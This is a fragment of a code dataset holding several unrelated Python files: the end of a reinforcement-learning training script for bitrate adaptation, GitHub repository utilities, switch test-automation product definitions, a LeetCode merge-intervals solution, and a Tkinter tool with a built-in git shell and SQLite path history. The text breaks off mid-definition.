target_net.get_network_params()\n\n target_params_updates = []\n for new_param, old_param in zip(new_params[:-1], old_params[:-1]):\n target_params_update = []\n for new_p, old_p in zip(new_param, old_param):\n target_params_update.append(old_p * POLYAK + (1-POLYAK)*new_p)\n target_params_updates.append(target_params_update)\n target_params_updates.append(new_params[-1])\n\n target_net.set_network_params(target_params_updates)\n \n # actor.train(s_batch, a_batch, v_batch, epoch)\n \n if epoch % MODEL_SAVE_INTERVAL == 0:\n # Save the neural net parameters to disk.\n save_path = saver.save(sess, SUMMARY_DIR + \"/nn_model_ep_\" +\n str(epoch) + \".ckpt\")\n print('model saved in ' + save_path)\n avg_reward, avg_entropy = testing(epoch,\n SUMMARY_DIR + \"/nn_model_ep_\" + str(epoch) + \".ckpt\", \n test_log_file)\n\n summary_str = sess.run(summary_ops, feed_dict={\n summary_vars[0]: pi_loss/SAMPLE_SZIE,\n summary_vars[1]: avg_reward,\n summary_vars[2]: avg_entropy\n })\n writer.add_summary(summary_str, epoch)\n writer.flush()\n\ndef agent(agent_id, net_params_queue, exp_queue):\n env = ABREnv(agent_id)\n with tf.Session() as sess, open(SUMMARY_DIR + '/log_agent_' + str(agent_id), 'w') as log_file:\n actor = Network(sess, state_dim=S_DIM, action_dim=A_DIM, learning_rate=ACTOR_LR_RATE, name='hehe')\n\n # initial synchronization of the network parameters from the coordinator\n net_params = net_params_queue.get()\n actor.set_network_params(net_params)\n\n\n time_stamp = 0\n\n for epoch in range(TRAIN_EPOCH):\n obs = env.reset()\n s_batch, a_batch, r_batch, done_batch, entropy_batch = [], [], [], [], []\n for _ in range(TRAIN_SEQ_LEN):\n s_batch.append(obs)\n\n action_prob = actor.get_action_prob(\n np.reshape(obs, (1, S_DIM[0], S_DIM[1])))\n \n action_cumsum = np.cumsum(action_prob)\n bit_rate = (action_cumsum > np.random.randint(\n 1, RAND_RANGE) / float(RAND_RANGE)).argmax()\n \n entropy = -np.dot(action_prob, np.log(action_prob))\n obs, rew, done, info = env.step(bit_rate)\n\n action_vec = np.zeros(A_DIM)\n action_vec[bit_rate] = 1\n a_batch.append(action_vec)\n r_batch.append(rew)\n done_batch.append(done)\n entropy_batch.append(entropy)\n if done:\n break\n # v_batch, td_target = actor.compute_v(s_batch, a_batch, r_batch, done)\n exp_queue.put([s_batch, a_batch, r_batch, done_batch, entropy_batch])\n\n actor_net_params = net_params_queue.get()\n actor.set_network_params(actor_net_params)\n\ndef build_summaries():\n td_loss = tf.Variable(0.)\n tf.summary.scalar(\"Beta\", td_loss)\n eps_total_reward = tf.Variable(0.)\n tf.summary.scalar(\"Reward\", eps_total_reward)\n entropy = tf.Variable(0.)\n tf.summary.scalar(\"Entropy\", entropy)\n\n summary_vars = [td_loss, eps_total_reward, entropy]\n summary_ops = tf.summary.merge_all()\n\n return summary_ops, summary_vars\n\ndef main():\n\n np.random.seed(RANDOM_SEED)\n\n # inter-process communication queues\n net_params_queues = []\n exp_queues = []\n for i in range(NUM_AGENTS):\n net_params_queues.append(mp.Queue(1))\n exp_queues.append(mp.Queue(1))\n\n # create a coordinator and multiple agent processes\n # (note: threading is not desirable due to python GIL)\n coordinator = mp.Process(target=central_agent,\n args=(net_params_queues, exp_queues))\n coordinator.start()\n\n agents = []\n for i in range(NUM_AGENTS):\n agents.append(mp.Process(target=agent,\n args=(i,\n net_params_queues[i],\n exp_queues[i])))\n for i in range(NUM_AGENTS):\n agents[i].start()\n\n # wait unit training is done\n coordinator.join()\n\n\nif __name__ == '__main__':\n main()","sub_path":"src/train_sac.py","file_name":"train_sac.py","file_ext":"py","file_size_in_byte":9663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"384893730","text":"import calendar\nimport contextlib\nimport re\nimport shutil\nimport tempfile\n\nimport datetime\nimport pkg_resources\n\n\ndef get_all_gh_languages():\n result = []\n language_list = pkg_resources.resource_string('github_digger', 'languages.yml')\n for line in language_list.splitlines():\n if line.strip().startswith('#'):\n continue\n m = re.match('^(\\S.*):', line)\n if m:\n lang = m.group(1)\n lang = lang.lower().replace('_', '__').replace(' ', '_')\n result.append(lang)\n return result\n\n\ndef get_slug(repo):\n if '/' not in repo:\n raise ValueError('Invalid repo name')\n if repo.endswith('.git'):\n repo = repo[:-4]\n parts = repo.split('/')\n name = parts[-1]\n owner = parts[-2]\n if owner == '' or name == '':\n raise ValueError('Invalid repo name')\n return owner, name\n\n\n@contextlib.contextmanager\ndef mktempdir():\n temp_dir = tempfile.mkdtemp()\n try:\n yield temp_dir\n finally:\n shutil.rmtree(temp_dir)\n\n\ndef add_months(startdate, months):\n month = startdate.month - 1 + months\n year = int(startdate.year + month / 12)\n month = month % 12 + 1\n day = min(startdate.day, calendar.monthrange(year, month)[1])\n return startdate.replace(year=year, month=month, day=day)\n\n\ndef get_timestamps_for_period(startdate, period, interval=1):\n result = [startdate]\n now = datetime.datetime.now(startdate.tzinfo)\n if period == 'month':\n months = interval * 1\n elif period == 'year':\n months = interval * 12\n else:\n return result\n next_timestamp = add_months(startdate, months)\n while next_timestamp < now:\n result.append(next_timestamp)\n next_timestamp = add_months(next_timestamp, months)\n return result\n","sub_path":"github_digger/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"374310040","text":"\"\"\"\nPRODUCT DEFINITIONS for ALL C6K Products\n\nThe product definition file contains descriptive data about all UUTs of the product line for the purposes of test automation.\n\nStructure:\nuut_prompt_map = [(, ), ...]\nuut_state_machine = {: [(dstmode, cost), ...], ...}\ndisk_partition_tables = {: {: {partition details per device enumeration}, ...}, ...} if any\ncommon_shared = {: , ...}\n\n\"\"\"\n\n__title__ = \"C6K Common Product Definitions\"\n__version__ = '0.1.0'\n\n\n# C6K UUT modes and their associated prompts\n# Note: All modes and prompts should be unique (i.e. two modes cannot share the same prompt). For dynamic\n# prompts a pattern matching scheme can be used.\n# Take care not to have \"overlapping\" patterns for multiple modes. The order is preserved to help prevent overlap.\n# All patterns are standard regex patterns.\n# REQUIRED for use with \"_mode.py\" using MachineManager.\nuut_prompt_map = [\n ('BTLDR', 'switch: '),\n ('IOS', '[sS]witch> '),\n ('IOSE', '[sS]witch# '),\n ('DIAG', 'Diag> '),\n ('TRAF', 'Traf> '),\n ('SYMSH', '-> '),\n ('STARDUST', r'(?:Stardust> )|(?:[A-Z][\\S]*> )'),\n\n]\n\n# State machine definition for UUT modes and mode paths.\n# REQUIRED for use with \"_mode.py\" using MachineManager.\nuut_state_machine = {\n 'BTLDR': [('STARDUST', 10), ('IOS', 10)],\n 'IOS': [('BTLDR', 10), ('IOSE', 10)],\n 'IOSE': [('IOS', 10)],\n 'STARDUST': [('BTLDR', 10), ('TRAF', 10), ('DIAG', 10), ('SYMSH', 10)],\n 'TRAF': [('STARDUST', 10), ('SYMSH', 10)],\n 'DIAG': [('STARDUST', 10), ('SYMSH', 10)],\n ('SYMSH', 1): [('STARDUST', 10), ('DIAG', 10), ('TRAF', 10)],\n}\n\n\n# Partitioning tables and device enumeration mapping for all C2K products based on flash device size.\ndisk_partition_tables = {\n}\n\n# Items that all C2K product families share in common.\n# These may be overridden by the family specific product definitions.\ncommon_shared = {\n 'key': 'value',\n}\n","sub_path":"cat6/c6k/product_definitions/_c6k_common.py","file_name":"_c6k_common.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"252813749","text":"\"\"\"\nhttps://leetcode.com/problems/merge-intervals/\nLC056 Merge Intervals\nMedium\n\nGiven a collection of intervals, merge all overlapping intervals.\n\"\"\"\n\n\n# NOTE: input types have been changed on April 15, 2019.\n# Please reset to default code definition to get new method signature.\n\n# Helper: Definition for an interval.\n# No longer in use\n\n# class Interval:\n# def __init__(self, s=0, e=0):\n# self.start = s\n# self.end = e\n#\n# def __repr__(self):\n# return f\"[{self.start} -> {self.end}]\"\n#\n# def __eq__(self, other):\n# if self.start == other.start and self.end == other.end:\n# return True\n# return False\n\n\nfrom typing import *\n\n\nclass Solution_A:\n def merge(self, intervals: List[List[int]]) -> List[List[int]]:\n \"\"\"\n Sort first, then connect the two neighbored interval if possible\n Needs to pop, not working for array\n This change in-place\n \"\"\"\n if len(intervals) < 2:\n return intervals\n\n # sort first\n # this is not python's default sort (because it only comparing first element)\n # so it is actually faster\n intervals.sort(key=lambda e: e[0])\n\n # merge\n idx = 0\n while idx != len(intervals) - 1:\n first, second = intervals[idx], intervals[idx + 1]\n if first[1] >= second[0]:\n first[1] = max(first[1], second[1]) # necessary, because [1,4] will be sorted before [2,3]\n intervals.pop(idx + 1) # after merge, remove the second element\n else:\n idx += 1\n return intervals\n\n\nclass Solution_B:\n def merge(self, intervals: List[List[int]]) -> List[List[int]]:\n \"\"\"\n Sort first, then connect the two neighbored interval if possible\n This output a new list\n \"\"\"\n if len(intervals) < 2:\n return intervals\n\n # sort first\n # this is not python's default sort (because it only comparing first element)\n # so it is actually faster\n intervals.sort(key=lambda e: e[0])\n\n # merge\n result = [intervals[0]]\n idx = 1\n while idx < len(intervals):\n cur = intervals[idx]\n if result[-1][0] <= cur[0] <= result[-1][1]:\n result[-1][1] = max(result[-1][1], cur[1])\n else:\n result.append(cur)\n idx += 1\n return result\n\n\nif __name__ == \"__main__\":\n testCase = Solution_A()\n\n lst = []\n assert testCase.merge(lst) == [], \"Edge 0\"\n\n lst = [[0, 1]]\n assert testCase.merge(lst) == [[0, 1]], \"Edge 1\"\n\n lst = [[1, 3], [2, 6], [8, 10], [15, 18]]\n assert testCase.merge(lst) == [[1, 6], [8, 10], [15, 18]], \"Example 1\"\n\n lst = [[15, 18], [1, 3], [8, 10], [2, 6]]\n assert testCase.merge(lst) == [[1, 6], [8, 10], [15, 18]], \"Example 1 unsorted\"\n\n lst = [[1, 4], [4, 5]]\n assert testCase.merge(lst) == [[1, 5]], \"Example 2\"\n\n print(\"All passed\")\n","sub_path":"LeetCode/LC056_merge_intervals.py","file_name":"LC056_merge_intervals.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"36964809","text":"import os\nimport sys\nimport base64\nimport hashlib\nimport tkinter as tk\nimport tkinter.ttk as ttk\nimport subprocess \nimport time\nfrom tkinter import scrolledtext\nimport threading\nimport re\nimport sqlite3\nimport importlib\nimport queue\nfrom tkinter.filedialog import askdirectory\nfrom tkinter import messagebox\nfrom tkinter import Toplevel\nimport math\nimport traceback\n\n\nclass ThreadExcept(threading.Thread):\n def __init__(self, **arvgs):\n super(ThreadExcept, self).__init__()\n self.func = arvgs['target']\n self.gui = arvgs['gui']\n self.exitcode = 0\n self.exception = None\n self.exc_traceback = ''\n def run(self):\n try:\n self.func()\n except Exception as e:\n self.exitcode = 1\n self.exception = e\n self.exc_traceback = ''.join(traceback.format_exception(*sys.exc_info()))\n self.gui.insertInfoToScr(self.gui.art_ui.scr,tk.END,self.exc_traceback,'red')\n print(self.exc_traceback)\n\n\n\nclass Dialog(Toplevel):\n def __init__(self, parent, title = None,message = None):\n Toplevel.__init__(self, parent)\n self.transient(parent)\n if title:\n self.title(title)\n if message:\n self.message = message\n self.parent = parent\n self.result = None\n\n frameW = 300\n frameH = 100\n body = tk.Frame(self,width = frameW, height = frameH)\n self.initial_focus = self.body(body)\n body.pack(padx=5, pady=5)\n \n self.buttonbox()\n self.grab_set()\n\n if not self.initial_focus:\n self.initial_focus = self\n\n self.protocol(\"WM_DELETE_WINDOW\", self.cancel)\n self.geometry(\"+%d+%d\" % (parent.winfo_rootx()+ parent.winfo_width()*0.5 - frameW*0.5,\n parent.winfo_rooty()+ parent.winfo_height()*0.5 - frameH*0.9))\n self.initial_focus.focus_set()\n self.wait_window(self)\n #\n # construction hooks\n\n def body(self, master):\n # create dialog body. return widget that should have\n # initial focus. this method should be overridden\n tk.Label(master,text = self.message).grid(row = 0, column = 0)\n master.pack_propagate(0)\n master.grid_propagate(0)\n pass\n\n def buttonbox(self):\n # add standard button box. override if you don't want the\n # standard buttons\n box = tk.Frame(self)\n w = tk.Button(box, text=\"确定\", width=10, command=self.ok, default=tk.ACTIVE)\n w.pack(side=tk.LEFT, padx=5, pady=5)\n self.bind(\"\", self.ok)\n self.bind(\"\", self.cancel)\n box.pack()\n\n #\n # standard button semantics\n def ok(self, event=None):\n if not self.validate():\n self.initial_focus.focus_set() # put focus back\n return\n self.withdraw()\n self.update_idletasks()\n self.apply()\n self.cancel()\n\n def cancel(self, event=None):\n # put focus back to the parent window\n self.parent.focus_set()\n self.destroy()\n #\n # command hooks\n def validate(self):\n return 1 # override\n\n def apply(self):\n pass # override\n\n\n#tkinter Ui部分\nclass TkinterGui(): \n def __init__(self,**arvg):\n self.tkRoot = arvg['tkRoot']\n self.prams = arvg\n self.crateMianPage()\n \n def crateMianPage(self):\n # Tab Control introduced here -------------------------------------- \n tabControl = ttk.Notebook(self.tkRoot) # Create Tab Control \n self.tabControl = tabControl\n\n self.art_ui = ttk.Frame(tabControl) # Create a tab \n tabControl.add(self.art_ui, text='tools') # Add the tab\n self.crateHandArtUi()\n \n self.git_ui = ttk.Frame(tabControl) # Add a second tab \n tabControl.add(self.git_ui, text='git') # Make second tab visible \n self.crateHandelDesionUi() \n \n self.tab3 = ttk.Frame(tabControl) # Add a third tab \n tabControl.add(self.tab3, text='test') # Make second tab visible \n self.crateHandelProtobufUi()\n \n tabControl.pack(expand=1, fill=\"both\") # Pack to make visible \n tabControl.bind('<>',self.updateCurrentUi)\n \n # print(tabControl.keys()) #获取控件参数关键字\n # print(tabControl.config())#获取控件参数设置\n #刷新界面元素\n def refreshUiElemect(self):\n\n self.setScript_path()\n self.getBranchAllName()\n \n\n #保存当前操作类型\n def updateCurrentUi(self,event):\n tmpPath = self.prams['getScriptPath'](self.art_ui.mPName)\n if tmpPath !=None:\n self.art_ui.path.set(tmpPath)\n else:\n self.art_ui.path.set(\"\") \n #解决页面部分不刷新问题\n currentIndex = self.art_ui.scr.index('current')\n indexfloat = float(currentIndex) + math.floor(21/2) + 1\n self.art_ui.scr.see('1.end')\n self.art_ui.scr.see(tk.END)\n self.art_ui.scr.see(str.format('%f' % indexfloat))\n\n self.refreshUiElemect()\n \n #设置路径\n def setScript_path(self,*arvg):\n self.art_ui.mPName = self.art_ui.bookChosen.get()\n # self.art_ui.mType = self.tabControl.tab('current')['text']\n tmpPath = self.prams['getScriptPath'](self.art_ui.mPName)\n if tmpPath !=None:\n self.art_ui.path.set(tmpPath)\n else:\n self.art_ui.path.set(\"\")\n \n\n #设置历史路径\n def crateHandArtUi(self):\n\n scrolW = 109; scrolH = 21 \n scr = scrolledtext.ScrolledText(self.art_ui, width=scrolW, height=scrolH, wrap=tk.WORD,bg = '#f2f2f2',state = 'disabled') \n scr.grid(column=0, row=12,columnspan=10,rowspan=6,padx = 0,sticky=tk.W +tk.N)\n scr.grid_propagate(0)\n\n self.art_ui.scr = scr\n \n # #遍历子对象\n # for child in self.art_ui.scr.frame.children.values():\n # if child.winfo_class() == 'Text':\n # child.configure(state = 'disabled')\n # print(child.winfo_class())\n \n \n tmpFrame = tk.Frame(self.art_ui, width=800, height=160,bg='#ffffe0')\n tmpFrame.grid(row=2, column=0,columnspan=10,sticky=tk.W)\n \n style = ttk.Style()\n style.map(\"C.TButton\",\n foreground=[('pressed', 'black'), ('active', 'black')],\n background=[('pressed', '!disabled', 'blue'), ('active', 'blue')],\n width = [('pressed', 120), ('active', 120)],\n height = [('pressed', '!disabled', 50), ('active', 50)],\n )\n\n colored_btn = ttk.Button(self.art_ui,text=\"执行操作\", style=\"C.TButton\",command = lambda:self.prams['handleArtFunc']())\n colored_btn.grid(column=6, row=0)\n\n self.art_ui.path = tk.StringVar()\n tk.Label(self.art_ui,text = \"脚本路径:\",width = 6).grid(row = 1, column = 0,columnspan = 1,sticky = tk.W + tk.E)\n tk.Entry(self.art_ui, textvariable = self.art_ui.path,width = 65,state = 'readonly').grid(row = 1, column = 1,padx = 10,columnspan = 5)\n ttk.Button(self.art_ui, text = \"路径选择\",style=\"C.TButton\",command = lambda :self.prams['selectPath']()).grid(row = 1, column = 6)\n\n def tmprefreshUiElemect(*args):\n self.refreshUiElemect()\n\n #项目选择\n tk.Label(self.art_ui,text = \"项目名称:\",width = 6).grid(row = 0, column = 0,columnspan = 1,sticky = tk.W + tk.E,)\n self.art_ui.book = tk.StringVar() \n bookChosen = ttk.Combobox(self.art_ui, width=13, textvariable=self.art_ui.book) \n bookChosen['values'] = ('校花1', '校花2','校花N') \n bookChosen.grid(column=1, row=0,padx = 10,sticky = tk.W)\n bookChosen.current(0) #设置初始显示值,值为元组['values']的下标\n self.art_ui.mPName = bookChosen.get()\n bookChosen.config(state='readonly') #设为只读模式 \n bookChosen.bind('<>',tmprefreshUiElemect)\n self.art_ui.bookChosen = bookChosen \n\n\n def setBranchName(*args):\n branchName = bookChosen1.get()\n self.insertInfoToScr(self.art_ui.scr,tk.END,branchName + '\\n','green')\n \n #项目选择\n tk.Label(self.art_ui,text = \"项目分支:\",width = 6,anchor= tk.E).grid(row = 0, column = 2,columnspan = 1,sticky =tk.E)\n self.art_ui.book1 = tk.StringVar() \n bookChosen1 = ttk.Combobox(self.art_ui, width=13, textvariable=self.art_ui.book1)\n bookChosen1['values'] = ()\n bookChosen1.grid(column=3, row=0,sticky = tk.W,padx = 5)\n bookChosen1.config(state='readonly') #设为只读模式 \n bookChosen1.bind('<>',setBranchName)\n self.art_ui.bookChosen1 = bookChosen1\n\n \n def setHandleType(*args):\n branchName = bookChosen1.get()\n self.insertInfoToScr(self.art_ui.scr,tk.END,branchName + '\\n','green')\n\n #项目选择\n tk.Label(self.art_ui,text = \"工作类型:\",width = 6,anchor= tk.E).grid(row = 0, column = 4,columnspan = 1,sticky =tk.E)\n self.art_ui.book2 = tk.StringVar() \n bookChosen2 = ttk.Combobox(self.art_ui, width=13, textvariable=self.art_ui.book2)\n bookChosen2['values'] = ('导图','导表')\n bookChosen2.grid(column=5, row=0,sticky = tk.W,padx = 5)\n bookChosen2.config(state='readonly') #设为只读模式 \n bookChosen2.current(0)\n bookChosen2.bind('<>',setHandleType)\n self.art_ui.bookChosen2 = bookChosen2\n\n self.refreshUiElemect()\n\n\n def getBranchAllName(self):\n #需要手动设置路径才可获取状态\n self.art_ui.mPName = self.art_ui.bookChosen.get()\n tmpPath = self.prams['getScriptPath'](self.art_ui.mPName)\n if tmpPath == None:\n self.art_ui.bookChosen1['values'] = ('',)\n self.art_ui.bookChosen1.current(0)\n return\n\n tempValues = self.prams['getAllBranchName'](tmpPath)\n if tempValues == None:\n self.art_ui.bookChosen1['values'] = ('',)\n self.art_ui.bookChosen1.current(0)\n else:\n a = tempValues.split('\\n')\n tRe = re.compile(r\"\\s*\\*\\s*\")\n for i in range(len(a)):\n match = tRe.match(a[i])\n if match:\n index = i\n a[i] = re.sub(tRe,' ',a[i],1)\n else:\n a[i] = re.sub(' ','',a[i],1)\n\n self.art_ui.bookChosen1['values'] = a\n self.art_ui.bookChosen1.current(index)\n\n\n def insertInfoToScr(self,scrObj,pos,text,color = None):\n scrObj.configure(state='normal',foreground = 'black')\n scrObj.update_idletasks()\n if color!=None:\n scrObj.tag_add(color,pos)\n scrObj.tag_config(color,foreground = color)\n scrObj.insert(pos,text,(color,))\n else:\n scrObj.insert(pos,text)\n scrObj.see(pos)\n scrObj.configure(state='disabled',foreground = 'black')\n # scrObj.mark_set(\"insert\", '1.0') \n \n\n def lockhandelUi(self,addLock):\n if addLock:\n tmpState = 'disabled'\n self.git_ui.entry.configure(state = 'readonly')\n else:\n tmpState = 'normal'\n self.git_ui.entry.configure(state = tmpState)\n\n for x in range(0,self.tabControl.index('end')):\n if self.tabControl.index('current') != x:\n tmptab = self.tabControl.tab(x,state = tmpState)\n self.art_ui.bookChosen.configure(state = tmpState)\n self.art_ui.bookChosen1.configure(state = tmpState)\n self.art_ui.bookChosen2.configure(state = tmpState)\n \n\n\n def crateHandelDesionUi(self):\n frame = self.git_ui\n tpath = self.art_ui.path.get()\n self.git_ui.path = tk.StringVar()\n self.git_ui.entryC = tk.StringVar()\n self.git_ui.path.set(tpath)\n\n\n def handCmdFunc(sourceCmd):\n pattern = re.compile(r\"\\s+\")\n a = re.sub(pattern,' ',sourceCmd)\n b = a.split(' ')\n return b\n \n def myinsertInfo_des(cmd):\n cmdarvg = handCmdFunc(cmd)\n\n if cmdarvg[0] == 'cd' and len(cmdarvg) > 1 and cmdarvg[1] != '':\n\n pattern1 = re.compile(r\"\\.+\")\n pattern2 = re.compile(r\"/+\")\n tmpst1 = '/' + cmdarvg[1]\n normalPath = re.sub(pattern2,'/',tmpst1)\n tmpStr2 = self.git_ui.path.get() + normalPath\n a = normalPath.split('/')\n\n if pattern1.match(a[1]):\n # print('有点')\n if os.path.exists(tmpStr2):\n absPath = os.path.abspath(tmpStr2)\n self.git_ui.path.set(absPath)\n return\n else:\n if os.path.exists(normalPath):\n # print('存在')\n absPath = os.path.abspath(normalPath)\n self.git_ui.path.set(absPath)\n return\n else:\n #检查当前路径\n handNormalPath = self.git_ui.path.get() + normalPath\n if os.path.exists(handNormalPath):\n absPath = os.path.abspath(handNormalPath)\n self.git_ui.path.set(absPath)\n return\n isgitState = False \n if cmdarvg[0] == 'git':\n isgitState = True\n \n self.lockhandelUi(True)\n\n print(self.git_ui.path.get())\n obj1 = subprocess.Popen(cmd,\n shell = True,\n cwd = self.git_ui.path.get(),\n stdin = subprocess.PIPE,\n stdout = subprocess.PIPE,\n stderr = subprocess.PIPE,\n universal_newlines = True)\n \n obj1.wait()\n self.insertInfoToScr(frame.scr,tk.END,obj1.stdout.read())\n errcode = obj1.stderr.read()\n obj1.stdin.close()\n obj1.stdout.close()\n obj1.stderr.close()\n\n if errcode !=None:\n self.insertInfoToScr(frame.scr,tk.END,errcode,'red')\n else:\n self.insertInfoToScr(frame.scr,tk.END,'done.','red')\n\n self.lockhandelUi(False)\n\n scrolW = 108; scrolH = 31 \n frame.scr = scrolledtext.ScrolledText(frame, width=scrolW, height=scrolH, wrap=tk.WORD,bg = '#f2f2f2',state='disabled') \n frame.scr.grid(column=0, row=2,columnspan=10,rowspan=6,sticky=tk.W + tk.E)\n\n \n tk.Frame(frame, width=777, height=5,bg='#fffacd').grid(row=1, column=0,columnspan=10,sticky=tk.W + tk.E)\n tk.Frame(frame, width=777, height=5,bg='#fffacd').grid(row=10, column=0,columnspan=10,sticky=tk.W + tk.E)\n \n\n style = ttk.Style()\n style.map(\"C.TButton\",\n foreground=[('pressed', 'black'), ('active', 'black')],\n background=[('pressed', '!disabled', 'blue'), ('active', 'blue')],\n width = [('pressed', 120), ('active', 120)],\n height = [('pressed', '!disabled', 50), ('active', 50)],\n )\n \n def actionCmd(event):\n c = entry1.get()\n pattern = re.compile(r\"\\s*clear\\s*\")\n if pattern.match(c):\n entry1.delete(0, tk.END)\n frame.scr.configure(state='normal',foreground = 'black')\n frame.scr.delete(1.0,tk.END)\n frame.scr.configure(state='disabled',foreground = 'black')\n return\n entry1.delete(0, tk.END)\n self.insertInfoToScr(frame.scr,tk.END,c + '\\n','green')\n a = c.split('\\n')\n cmd = a[len(a) - 2]\n\n if cmd == '':\n return\n else:\n print(cmd)\n\n t = threading.Thread(target=myinsertInfo_des,args=(cmd,))\n t.setDaemon(True)\n t.start()\n\n def tabAction(event):\n cmdarvg = handCmdFunc(entry1.get())\n endPath = cmdarvg[len(cmdarvg) - 1]\n\n if endPath == '':\n c = os.listdir(self.git_ui.path.get())\n for x in c:\n showC = x + '\\n'\n self.insertInfoToScr(frame.scr,tk.END,showC,'blue')\n else:\n #tab 自动补齐\n c = os.walk(self.git_ui.path.get(),True)\n b = []\n pattern = re.compile(r\"%s.*\" % (self.git_ui.path.get() + '/' + endPath))\n\n for dir_path,subpaths,files in c:\n\n if dir_path == self.git_ui.path.get():#文件路径\n pattern3 = re.compile(r\"%s.*\" % endPath)\n for f in files:\n if re.match(pattern3,f):\n b.append(f)\n showC = f +'\\n'\n self.insertInfoToScr(frame.scr,tk.END,showC,'blue')\n\n if re.match(pattern,dir_path): #文件夹路径\n showC = os.path.relpath(dir_path,self.git_ui.path.get())\n pattern2 = re.compile(r\".*/.*\")\n if re.match(pattern2,showC):\n pass\n else:\n b.append(showC)\n showC = showC + '\\n'\n self.insertInfoToScr(frame.scr,tk.END,showC,'blue')\n \n if len(b) == 1:\n if os.path.isdir(self.git_ui.path.get() + '/' + b[0]):\n b[0] = b[0] + '/'\n cmdarvg[len(cmdarvg) - 1] = b[0]\n self.git_ui.entryC.set(cmdarvg)\n entry1.icursor(tk.END)\n\n \n return 'break'\n\n entry1 = tk.Entry(frame, textvariable = self.git_ui.entryC,width = 85)\n entry1.grid(row = 11, column = 0,columnspan = 10,sticky = tk.W+ tk.E)\n entry1.bind('',actionCmd)\n entry1.bind('',tabAction)\n\n self.git_ui.entry = entry1\n\n #当前路径工作路径\n tk.Label(frame,textvariable = self.git_ui.path,width = 86,anchor= tk.W).grid(row = 0, column = 0,columnspan = 10,sticky =tk.W)\n \n\n def crateHandelProtobufUi(self):\n\n frame = self.tab3\n scrolW = 102; scrolH = 24 \n frame.scr = scrolledtext.ScrolledText(frame, width=scrolW, height=scrolH, wrap=tk.WORD,bg = '#f2f2f2') \n frame.scr.grid(column=0, row=12,columnspan=10,rowspan=6,padx = 10,sticky=tk.E + tk.W + tk.S)\n \n tmpFrame = tk.Frame(frame, width=800, height=160,bg='#fff0f5')\n tmpFrame.grid(row=2, column=0,columnspan=10,sticky=tk.W)\n\n style = ttk.Style()\n style.map(\"C.TButton\",\n foreground=[('pressed', 'black'), ('active', 'black')],\n background=[('pressed', '!disabled', 'blue'), ('active', 'blue')],\n width = [('pressed', 120), ('active', 120)],\n height = [('pressed', '!disabled', 50), ('active', 50)],\n )\n \n\n def myTestFunc():\n print(frame.scr.get(1.0,tk.END))\n tmpStr = frame.scr.get(1.0,tk.END)\n pattern = re.compile(r\"\\s+\")\n a = re.sub(pattern,' ',tmpStr)\n b = a.split(' ')\n \n\n\n self.colored_btn = ttk.Button(frame,text=\"测试\", style=\"C.TButton\",command = lambda:myTestFunc())\n self.colored_btn.grid(column=9, row=0,rowspan=3)\n\nclass MyTools():\n def __init__(self,root):\n self.root = root\n self.mtPath = None\n self.dbName = 'historyPath.db'\n self.initdbData()\n arvg = {}\n arvg[\"tkRoot\"] = root\n arvg[\"handleArtFunc\"] = self.myTools_handleArt\n arvg[\"handleDesFunc\"] = self.myToolsPrint\n arvg[\"handleProtoFunc\"] = self.myToolsPrint\n arvg[\"myPrintFunc\"] = self.myToolsPrint\n arvg[\"selectPath\"] = self.myTools_selectPath\n arvg[\"getScriptPath\"] = self.myTools_getScriptPath\n arvg[\"saveScriptPath\"] = self.myTools_saveScriptPath \n arvg[\"getAllBranchName\"] = self.getAllBranchName\n self.gui = TkinterGui(**arvg)\n self.art = handleArtResource(root,self.gui)\n\n #初始化数据库\n def initdbData(self):\n if os.path.exists(self.dbName):\n # print('已有历史记录')\n return\n # 初始化数据库\n db = sqlite3.connect(self.dbName)\n db.execute(\"CREATE TABLE IF NOT EXISTS HistoryPath (projectName varchar(20), scriptPath varchar(100))\")\n db.close()\n\n #获得StrPath路径\n def myTools_getScriptPath(self,pName):\n db = sqlite3.connect(self.dbName)\n dbresult = db.execute(\"select * from HistoryPath where projectName = '%s' \" % (pName)).fetchone()\n db.close()\n if dbresult == None:\n return None\n else:\n self.mtPath = dbresult[1]\n return dbresult[1] \n #保存路径\n def myTools_saveScriptPath(self,pName,scriptPath):\n db = sqlite3.connect(self.dbName)\n dbresult = db.execute(\"select * from HistoryPath where projectName = '%s' \" % (pName)).fetchone()\n if dbresult!=None:\n sql = \"update HistoryPath set scriptPath = '%s' where projectName = '%s' \" % (scriptPath,pName)\n db.execute(sql)\n db.commit()\n else:\n sql = \"insert into HistoryPath values('%s', '%s')\" % (pName,scriptPath)\n db.execute(sql)\n db.commit()\n db.close()\n\n def myToolsPrint(self):\n self.art.myPrintFunc()\n def myToolsTest(self):\n print(\"test\")\n def myTools_selectPath(self):\n if self.art.workStatus:\n Dialog(self.root,'提示','导图进行中,请耐心等待...')\n return\n path_ = askdirectory(initialdir = self.mtPath)\n self.gui.art_ui.path.set(path_)\n self.myTools_saveScriptPath(self.gui.art_ui.mPName,path_)\n self.mtPath = path_\n\n #获取当前项目的所有分支\n def getAllBranchName(self,scriptPath):\n if self.mtPath == None:\n return None\n path = scriptPath + '/../../Client/'\n \n if not os.path.exists(path):\n return None\n\n obj1 = subprocess.Popen('git branch',\n shell = True,\n cwd = path,\n stdin = subprocess.PIPE,\n stdout = subprocess.PIPE,\n stderr = subprocess.PIPE,\n universal_newlines = True)\n obj1.wait()\n content = obj1.stdout.read()\n obj1.stdin.close()\n obj1.stdout.close()\n obj1.stderr.close()\n return content\n \n\n #导图\n def myTools_handleArt(self):\n\n if self.mtPath == None:\n Dialog(self.root,'提示','目标路径不能为空。')\n return\n print(self.mtPath)\n if not os.path.exists('%s/copy_files.py' % self.mtPath):\n Dialog(self.root,'提示','请检查目标路径是否正确。')\n return\n sys.path.append(self.mtPath)\n self.art.handleArt(self.mtPath)\n \n \n#处理美术资源类\nclass handleArtResource():\n def __init__(self,root,gui):\n self.num = 100\n self.root = root\n self.gui = gui\n self.workStatus = False #是否工作中\n self.scriptPath = None\n \n def myPrintFunc(self):\n if self.workStatus:\n Dialog(self.root,'提示','正在打印中...')\n return\n t2 = ThreadExcept(target = self.myworker,gui = self.gui)\n t2.setDaemon(True) \n t2.start()\n \n\n # print(dir(t2))\n\n def 